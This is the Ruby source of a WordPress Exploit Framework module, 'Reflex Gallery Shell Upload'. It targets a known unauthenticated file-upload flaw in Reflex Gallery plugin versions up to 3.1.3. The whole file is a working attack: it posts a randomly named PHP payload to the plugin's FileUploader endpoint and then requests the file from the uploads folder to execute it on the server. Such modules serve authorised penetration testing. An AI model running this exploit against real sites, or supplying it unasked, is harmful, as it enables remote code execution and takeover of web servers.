# frozen_string_literal: true

class Wpxf::Exploit::ReflexGalleryShellUpload < Wpxf::Module
  include Wpxf

  def initialize
    super

    update_info(
      name: 'Reflex Gallery Shell Upload',
      desc: 'This module exploits a file upload vulnerability in versions '\
            '<= 3.1.3 of the Reflex Gallery plugin which '\
            'allows unauthenticated users to upload and execute PHP scripts '\
            'in the context of the web server.',
      author: [
        'Sammy Forgit',
        'CrashBandicot',
        'rastating'
      ],
      references: [
        ['EDB', '36374'],
        ['WPVDB', '7867']
      ],
      date: 'March 16 2015'
    )
  end

  def check
    check_plugin_version_from_readme('reflex-gallery', '3.1.4')
  end

  def plugin_url
    normalize_uri(wordpress_url_plugins, 'reflex-gallery')
  end

  def uploader_url
    normalize_uri(plugin_url, 'admin', 'scripts', 'FileUploader', 'php.php')
  end

  def payload_body_builder(payload_name)
    builder = Utility::BodyBuilder.new
    builder.add_file_from_string('qqfile', payload.encoded, payload_name)
    builder
  end

  def run
    return false unless super

    emit_info 'Preparing payload...'
    year = Time.new.year.to_s
    month = "%02d" % Time.new.month
    payload_name = "#{Utility::Text.rand_alpha(rand(5..10))}.php"
    builder = payload_body_builder(payload_name)

    emit_info 'Uploading payload...'
    res = nil
    builder.create do |body|
      res = execute_post_request(
        url: uploader_url,
        body: body,
        params: {
          'Year' => year,
          'Month' => month
        }
      )
    end

    if res.nil? || res.timed_out?
      emit_error 'No response from the target'
      return false
    end

    if res.code != 200
      emit_info "Response code: #{res.code}", true
      emit_info "Response body: #{res.body}", true
      emit_error 'Failed to upload payload'
      return false
    end

    payload_url = normalize_uri(wordpress_url_wp_content, 'uploads', year, month, payload_name)
    emit_success "Uploaded the payload to #{payload_url}", true

    emit_info 'Executing the payload...'
    res = execute_get_request(url: payload_url)
    if res && res.code == 200 && !res.body.strip.empty?
      emit_success "Result: #{res.body}"
    end

    return true
  end
end
